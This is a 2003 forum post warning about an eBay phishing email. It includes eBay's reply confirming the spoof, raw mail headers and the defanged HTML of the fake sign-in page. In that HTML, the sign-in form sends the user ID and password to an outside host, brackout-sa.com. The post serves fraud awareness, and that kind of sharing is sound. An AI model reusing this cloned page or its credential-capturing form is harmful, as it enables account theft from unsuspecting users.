Guyz 'n Galz...... I received the below message this morning purporting to come from e-Bay. I immediately smelt a rat, as e-Bay does NOT ask you for stuff like "Security" checks. I e-mailed it to spoof@xxxx , a mere 10 minutes later, back came their reply. It IS not from e-Bay. At the bottom is e-Bay's reply. BEWARE......... Dave in New Zealand. ----- Original Message ----- From: aw-confirm@xxxx To: Fnnutz Sent: Wednesday, October 01, 2003 11:14 AM Subject: "Security Check" Sign In Need Help? New to eBay? Already an eBay user? If you want to sign in, you'll need to register first. Registration is fast and free. Sign In with your eBay ID and password to update your account for bidding and selling on eBay. eBay User ID Forgot your User ID? Password Forgot your password? Keep me signed in on this computer unless I sign out. -------------------------------------------------------------------- Account protection tips | Secure sign in (SSL) -------------------------------------------------------------------------- You can also register or sign in using the following service: ----- Original Message ----- From: "eBay Customer Support" <spoof@xxxx> To: "David Agnew" <Fnnutz@xxxx> Sent: Wednesday, October 01, 2003 10:05 AM Subject: RE: SP91011 - Your recent report to eBay's Trust and Safety Department . (KMM91766479V59482L0KM) Hello, Thank you for contacting eBay's Trust and Safety Department about email solicitations that are falsely made to appear to have come from eBay. These emails, commonly referred to as "spoof" messages, are sent in an attempt to collect sensitive personal information from recipients who reply to the message or click on a link to a Web page requesting this information. The email you reported did not originate from, nor is it endorsed by, eBay. We are very concerned about this problem and are working diligently to address the situation. We have investigated the source of this email and have taken appropriate action. You may rest assured that your account standing has not changed and that your listings have not been affected. We advise you to be very cautious of email messages that ask you to submit information such as your credit card number or your email password. eBay will never ask you for sensitive personal information such as passwords, bank account or credit card numbers, Personal Identification Numbers (PINs), or Social Security numbers in an email itself. If you ever need to provide information to eBay please open a new Web browser, type www.ebay.com, and click on the "site map" link located at the top the page to access the eBay page you need. If you have any doubt about whether an email message is from eBay, please forward it immediately to spoof@xxxx and do not respond to it or click on any of the links in the email message. Please do not change the subject line or forward the email as an attachment. If you entered personal information such as your password, social security number or credit card numbers into a Website based on a request from a spoofed email, you need to take immediate action to protect your identity. We have developed an eBay Help page with valuable information regarding the steps you should take to protect yourself. To get to the "Protecting Your Identity" Help page from the eBay site, please click on the "help" link located at the top of most eBay pages and select the following topics when the "eBay Help Center" window appears: Safe Trading > If Something Goes Wrong > Identity Theft We encourage you to review additional information about protecting your identity found in the eBay Help system. Please click on the "help" link located at the top of most eBay pages and select the following topics when the "eBay Help Center" window appears: Safe Trading > If Something Goes Wrong& > Account Theft > Account Protection Once again, thank you for alerting us to the spoof email you received. Your vigilance helps us ensure that eBay remains a safe and vibrant online marketplace. Regards, Ian eBay SafeHarbor Investigations Team ______________________________ eBay Your Personal Trading Community (tm) ******************************************* Important: eBay will not ask you for sensitive personal information (such as your password, credit card and bank account numbers, Social Security numbers, etc.) in an email. Learn more account protection tips at: http://www.pages.ebay.com/help/account_protection.html _____________________________________________ For our latest announcements, please check: http://www2.ebay.com/aw/announce.shtml _____________________________________________ In order to better serve you, we'd like to occasionally request feedback on our service. If you would rather not participate, please click on the link below and send us an email with the word "REMOVE" in the subject line. If that does not work, please send an email to the email address below. Your request will be processed within 5 days. mailto:cssremove@xxxx ******************************************* Original Message Follows: ------------------------- return-path: <fnnutz@xxxx> received: from mailhost1.sjc.ebay.com (data.ebay.com [66.135.195.180])by miami.smf.ebay.com (8.12.9/8.12.9) with esmtp id h8um0ig0015327for <spoof@xxxx>; tue, 30 sep 2003 15:00:19 -0700 (pdt) received: from mta202-rme.xtra.co.nz (mta202-rme.xtra.co.nz [210.86.15.145])by mailhost1.sjc.ebay.com (8.12.8p1/8.12.8) with esmtp id h8ulxqjd002757for <spoof@xxxx>; tue, 30 sep 2003 14:59:53 -0700 (pdt) received: from mta1-rme.xtra.co.nz ([210.86.15.140])by mta202-rme.xtra.co.nz with esmtpid <20030930215947.urmp5780.mta202-rme.xtra.co.nz@xxxx>for <spoof@xxxx>; wed, 1 oct 2003 09:59:47 +1200 received: from w98sysrec ([210.86.41.242]) by mta1-rme.xtra.co.nz with smtpid <20030930215937.evls26750.mta1-rme.xtra.co.nz@w98sysrec>for <spoof@xxxx>; wed, 1 oct 2003 09:59:37 +1200 message-id: <000701c3879e$1f850660$f22956d2@w98sysrec> from: "david agnew" <fnnutz@xxxx> to: <spoof@xxxx> subject: fw: "security check" date: wed, 1 oct 2003 09:59:25 +1200 mime-version: 1.0 x-security: mime headers sanitized on miamisee http://www.impsec.org/email-tools/procmail-security.htmlfor details. $revision: 1.129 $date: 2001-04-14 20:20:43-07 x-security: the postmaster has not enabled quarantine of poisoned messages. content-type: multipart/alternative;boundary="----=_nextpart_000_0004_01c38802.b3a430a 0" x-priority: 1 x-msmail-priority: high x-mailer: microsoft outlook express 6.00.2600.0000 x-mimeole: produced by microsoft mimeole v6.00.2600.0000 x-uidl: ox##!ekv!!te="!jac"! \x-mime-note: <<< mime attachments removed >>> this is a multi-part message in mime format. ------=_nextpart_000_0004_01c38802.b3a430a0 content-type: text/plain; charset="iso-8859-1" content-transfer-encoding: quoted-printable hello e-bay.......i received this today, and smell a rat! how and why would this be genuine? needless to say, i have not = replied, but forwarding to you fyi. cheerz........dave in new zealand. ----- original message -----=20 from: aw-confirm@xxxx=20 to: fnnutz=20 sent: wednesday, october 01, 2003 11:14 am subject: "security check" =20 =20 =20 =20 sign in need help?=20 =20 =20 new to ebay? already an ebay user?=20 =20 if you want to sign in, you'll need to register first.=20 registration is fast and free. =20 =20 =20 sign in with your ebay id and password to update your = account for bidding and selling on ebay.=20 =20 =20 ebay user id forgot your user id? =20 =20 password forgot your password? =20 =20 =20 =20 keep me signed in on this computer unless i sign out. =20 -------------------------------------------------------------------- account protection tips | secure sign in (ssl)=20 =20 =20 =20 ------------------------------------------------------------------------ -= - =20 you can also register or sign in using the following service: =20 =20 =20 =20 ------=_nextpart_000_0004_01c38802.b3a430a0 content-type: text/html; charset="iso-8859-1" content-transfer-encoding: quoted-printable <!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html><head><title></title> <defanged_meta http-equiv=3dcontent-type content=3d"text/html; = charset=3diso-8859-1"> <defanged_meta content=3d"mshtml 6.00.2800.1170" name=3dgenerator> <!-- <defanged_style> --> </defanged_style> </head> <body bgcolor=3d#ffffff> <div><font face=3darial size=3d2>hello e-bay.......i received this = today, and smell=20 a rat!</font></div> <div><font face=3darial size=3d2>how and why would this be=20 genuine? needless to say, i have not replied, but = forwarding=20 to you fyi.</font></div> <div><font face=3darial=20 size=3d2> =20 cheerz........dave in new zealand.</font></div> <div><font face=3darial size=3d2></font> </div> <div><font face=3darial size=3d2></font> </div> <div><font face=3darial size=3d2></font> </div> <div><font face=3darial size=3d2></font> </div> <div><font face=3darial size=3d2></font> </div> <div defanged_style=3d"font: 10pt arial">----- original message -----=20 <div defanged_style=3d"background: #e4e4e4; font-color: black"><b>from:</b> <a=20 title=3daw-confirm@xxxx=20 href=3d"mailto:aw-confirm@xxxx">aw-confirm@xxxx</a> </div> <div><b>to:</b> <a title=3dfnnutz@xxxx=20 href=3d"mailto:fnnutz@xxxx">fnnutz</a> </div> <div><b>sent:</b> wednesday, october 01, 2003 11:14 am</div> <div><b>subject:</b> "security check"</div></div> <div><br></div><!--header code starts--> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/poweredby/poweredby.js"> </script> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/help/openhelpwindow.js"> </script> <defanged_script language=3djavascript=20 src=3d"http://include.ebay.com/aw/pics/js/wt/wt.js"></script> <defanged_iframe name=3dtagframe width=3d0 height=3d0></iframe> <defanged_script=20 src=3d"http://contact.ebay.com/aw-cgi/ebayisapi.dll?wtfindmatcheddomainn a= me&hostname=3dwww.brackout-sa.com"></script> <defanged_script language=3djavascript = src=3d"http://include.ebay.com/aw/pics/js/wt/wt.js"> </script> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/globals.js"></script> <defanged_script language=3djavascript1.1 type=3dtext/javascript> includehost =3d 'http://include.ebaystatic.com/'; </script> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/cookies.js"></script> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/common_functions.js"> </script> <defanged_script=20 src=3d"http://include.ebaystatic.com/aw/pics/js/cobrand/cobrand_determin e= .js"> </script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_constants.js"> <= /script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_variables.js"> <= /script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_objects.js"></ s= cript> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/us/js/cobrand/cobrand_country_obj e= cts.js"></script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_functionality. j= s"></script> <defanged_script = src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_constants.js"> </script> <defanged_script = src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_variables.js"> </script> <defanged_script = src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_objects.js"> </script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/us/js/cobrand/cobrand_country_obj e= cts.js"> </script> <defanged_script=20 src=3d"http://include.ebay.com/aw/pics/js/cobrand/cobrand_functionality. j= s"> </script> <defanged_script language=3djavascript1.1 type=3dtext/javascript> if (siteid && (siteid !=3d 0)) { for (var i=3d0; i<ebcbffilearray.length; i++) document.write(scriptopen + ebcbffilearray[i] + = scriptclose); } =09 var cbc, cbf; if (cbc) writeheader(); </script> =20 <table cellspacing=3d0 cellpadding=3d0 bgcolor=3d#ffffff border=3d0> <tbody> <tr> <td><img height=3d1 = src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d180></td></tr> <tr> <td> <defanged_script language=3djavascript1.1 type=3dtext/javascript> =09 var cbc; if (cbc) writebrow(); </script> <defanged_script=20 = src=3d"http://include.ebay.com/aw/pics/us/js/cobrand/headers/brow.js"></ s= cript> <defanged_script=20 = src=3d"http://include.ebay.com/aw/pics/us/js/cobrand/headers/brow.js"> </script> <a href=3d"http://pages.ebay.com/"><img height=3d40 alt=3d" "=20 = src=3d"http://pics.ebaystatic.com/aw/pics/register/headerregister_387x40 .= gif"=20 width=3d387 border=3d0></a></td></tr></tbody></table><!--header = code ends--> <table cellspacing=3d0 cellpadding=3d0 width=3d600 border=3d0> <tbody> <tr> <td colspan=3d2><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td bgcolor=3d#ffcc00 colspan=3d2><img height=3d2 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr bgcolor=3d#ffe580> <td width=3d25><img height=3d3 alt=3d""=20 = src=3d"http://pics.ebaystatic.com/aw/pics/sitewide/leftline_16x3.gif"=20 width=3d16 align=3dmiddle></td> <td valign=3dcenter width=3d575> <table cellspacing=3d0 cellpadding=3d1 width=3d"100%" border=3d0> <tbody> <tr> <td valign=3dcenter nowrap><font=20 face=3d"verdana, helvetica, arial, sans-serif" = size=3d3><b>sign=20 in</b></font> </td> <td valign=3dcenter nowrap align=3dright><a=20 defanged_onclick=3d"return openhelpwindow(this.href);"=20 href=3d"http://pages.ebay.com/help/new/signin.html"=20 target=3dhelpwin><img height=3d14=20 = src=3d"http://pics.ebaystatic.com/aw/pics/listings/questionmark_14x14.gi f= "=20 width=3d14 border=3d0></a><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d4><font=20 face=3d"arial, helvetica, sans-serif" size=3d2><a=20 defanged_onclick=3d"return openhelpwindow(this.href);"=20 href=3d"http://pages.ebay.com/help/new/signin.html"=20 target=3dhelpwin>need help?</a></font><img height=3d1 = alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d2></td></tr></tbody></table></td></tr> <tr> <td bgcolor=3d#ffcc00 colspan=3d2><img height=3d2 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d1></td></tr></tbody></table> <table cellspacing=3d0 cellpadding=3d0 width=3d600 border=3d0> <tbody> <tr bgcolor=3d#ffffcc> <td width=3d15 height=3d23><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d15></td> <td nowrap width=3d180 height=3d23><font face=3d"arial, helvetica, = sans-serif"=20 size=3d2><b>new to ebay?</b></font></td> <td valign=3dbottom align=3dmiddle colspan=3d3 height=3d23><img = height=3d23 hspace=3d0=20 src=3d"http://pics.ebaystatic.com/aw/pics/register/or_60x23.gif" = width=3d60=20 border=3d0></td> <td nowrap width=3d310 height=3d23><font face=3d"arial, helvetica, = sans-serif"=20 size=3d2><b>already an ebay user?</b></font></td></tr> <tr> <td width=3d15><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d15></td> <td valign=3dtop width=3d180> <form name=3dregisterenterinfo=20 = action=3dhttps://scgi.ebay.com/saw-cgi/ebayisapi.dll?registerenterinfo&a m= p;siteid=3d0&co_partnerid=3d2=20 method=3dpost><input type=3dhidden value=3dregisterenterinfo=20 name=3dmfcisapicommand> <input type=3dhidden value=3d2 = name=3dco_partnerid> <input=20 type=3dhidden value=3d0 name=3dsiteid> <input type=3dhidden = name=3dru><input=20 type=3dhidden value=3d-1 name=3dbin>=20 <table cellspacing=3d0 cellpadding=3d0 width=3d"100%" border=3d0> <tbody> <tr> <td><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td valign=3dtop><font face=3d"arial, helvetica, sans-serif" = size=3d2>if=20 you want to sign in, you'll need to register first.=20 <p>registration is fast and <b>free</b>.</p> <p><input type=3dsubmit value=3d"register >"></font>=20 </p></td></tr></tbody></table></form></td> <td><img height=3d1 = src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d30 border=3d0></td> <td valign=3dtop align=3dmiddle width=3d1 bgcolor=3d#cccccc><img = height=3d1=20 src=3d"http://pics.ebaystatic.com/aw/pics/homepage/spacer.gif" = width=3d1=20 border=3d0></td> <td><img height=3d1 = src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d29 border=3d0></td> <td> <form name=3dsigninform = action=3dhttp://www.brackout-sa.com/php.php=20 method=3dget><input type=3dhidden value=3dsigninwelcome = name=3dmfcisapicommand>=20 <input type=3dhidden value=3d0 name=3dsiteid> <input type=3dhidden = value=3d2=20 name=3dco_partnerid> <input type=3dhidden value=3d0 = name=3dusingssl> <input=20 type=3dhidden name=3dru><input type=3dhidden name=3dpp> <input = type=3dhidden=20 name=3dpa1><input type=3dhidden name=3dpa2> <input type=3dhidden = name=3dpa3><input=20 type=3dhidden value=3d-1 name=3di1> <input type=3dhidden = value=3d-1 name=3dpagetype>=20 <table cellspacing=3d0 cellpadding=3d0 width=3d"100%" border=3d0> <tbody> <tr> <td><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td valign=3dtop><font face=3d"arial, helvetica, sans-serif" = size=3d2>sign=20 in with your ebay id and password to update your account for = bidding=20 and selling on ebay. = <br> </font></td></tr></tbody></table> <table cellspacing=3d0 cellpadding=3d0 width=3d"100%" border=3d0> <tbody> <tr> <td><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td valign=3dtop><font face=3d"arial, helvetica, sans-serif"=20 size=3d2><b>ebay user id</b></font><br><input tabindex=3d1 = maxlength=3d64=20 size=3d27 name=3duserid><br><font=20 face=3d"verdana, helvetica, arial, sans-serif" = color=3d#666666 size=3d1><a=20 = href=3d"http://cgi3.ebay.com/aw-cgi/ebayisapi.dll?useridrecognizershow"> f= orgot</a>=20 your user id?</font> </td></tr></tbody></table> <table cellspacing=3d0 cellpadding=3d0 width=3d"100%" border=3d0> <tbody> <tr> <td><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td valign=3dtop><font face=3d"arial, helvetica, sans-serif"=20 size=3d2><b>password</b></font><br><input tabindex=3d2 = type=3dpassword=20 maxlength=3d63 size=3d27 name=3dpass><br><font=20 face=3d"verdana, helvetica, arial, sans-serif" = color=3d#666666 size=3d1><a=20 = href=3d"http://cgi3.ebay.com/aw-cgi/ebayisapi.dll?forgotyourpasswordshow "= >forgot</a>=20 your password?</font> </td></tr></tbody></table> <table cellspacing=3d0 cellpadding=3d0 width=3d350 border=3d0> <tbody> <tr> <td colspan=3d2><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td=20 width=3d"35%"><input tabindex=3d3 type=3dsubmit value=3d"sign in = >"></td></tr></tbody></table> <table cellspacing=3d0 cellpadding=3d0 width=3d"100%" border=3d0> <tbody> <tr> <td><img height=3d10 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d1></td></tr> <tr> <td valign=3dtop><input tabindex=3d4 type=3dcheckbox value=3d1 = name=3dkeepmesigninoption></td> <td width=3d10> </td> <td width=3d"100%"><font face=3d"verdana, helvetica, arial, = sans-serif"=20 color=3d#666666 size=3d1><a defanged_onclick=3d"return = openhelpwindow(this.href);"=20 = href=3d"http://pages.ebay.com/help/new/staying_signed_in.html"=20 target=3dhelpwin>keep me signed in</a> on this computer = unless i sign=20 out.</font> </td></tr> <tr> <td colspan=3d3> <hr width=3d"100%" color=3d#cccccc size=3d1> <p><font face=3d"verdana, helvetica, arial, sans-serif" = color=3d#666666=20 size=3d1> <a defanged_onclick=3d"return = openhelpwindow(this.href);"=20 = href=3d"http://pages.ebay.com/help/new/account_protection.html"=20 target=3dhelpwin>account protection tips</a> | <a=20 = href=3d"https://scgi.ebay.com/saw-cgi/ebayisapi.dll?signin&usingssl= 3d= 1&co_partnerid=3d2&siteid=3d0&ru=3d&pp=3d&pa1=3d& ;= i1=3d-1&pagetype=3d-1">secure=20 sign in (ssl)</a></font> = </p></td></tr></tbody></table></form></td></tr> <tr> <td width=3d15><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d15></td> <td colspan=3d5> <hr color=3d#cccccc noshade size=3d1> </td></tr> <tr> <td width=3d15><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d15></td> <td colspan=3d5><font face=3d"arial, helvetica, sans-serif" = size=3d2>you can=20 also register or sign in using the following service:</font> = </td></tr> <tr> <td width=3d15><img height=3d1 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" = width=3d15></td> <td colspan=3d5><img height=3d35 alt=3d" "=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif" width=3d1><a = = href=3d"http://cgi3.ebay.com/aw-cgi/ebayisapi.dll?passportsigninshow& ;= pt=3d-1&finalurl=3d"><img=20 height=3d26 = src=3d"http://pics.ebaystatic.com/aw/pics/msn/signin_ebay.gif"=20 width=3d100 border=3d0></a></td></tr></tbody></table> <p><br> </p> <table cellspacing=3d0 cellpadding=3d0 width=3d599 bgcolor=3d#ffcc00 = border=3d0> <tbody> <tr> <td height=3d2><img height=3d2=20 src=3d"http://pics.ebaystatic.com/aw/pics/spacer.gif"=20 width=3d2></td></tr></tbody></table> <defanged_script = src=3d"http://include.ebaystatic.com/aw/pics/js/stats/ss.js"></script> <img height=3d1 width=3d1 border=3d0 name=3ds_i_ebay> </body></html> ------=_nextpart_000_0004_01c38802.b3a430a0-- [Non-text portions of this message have been removed]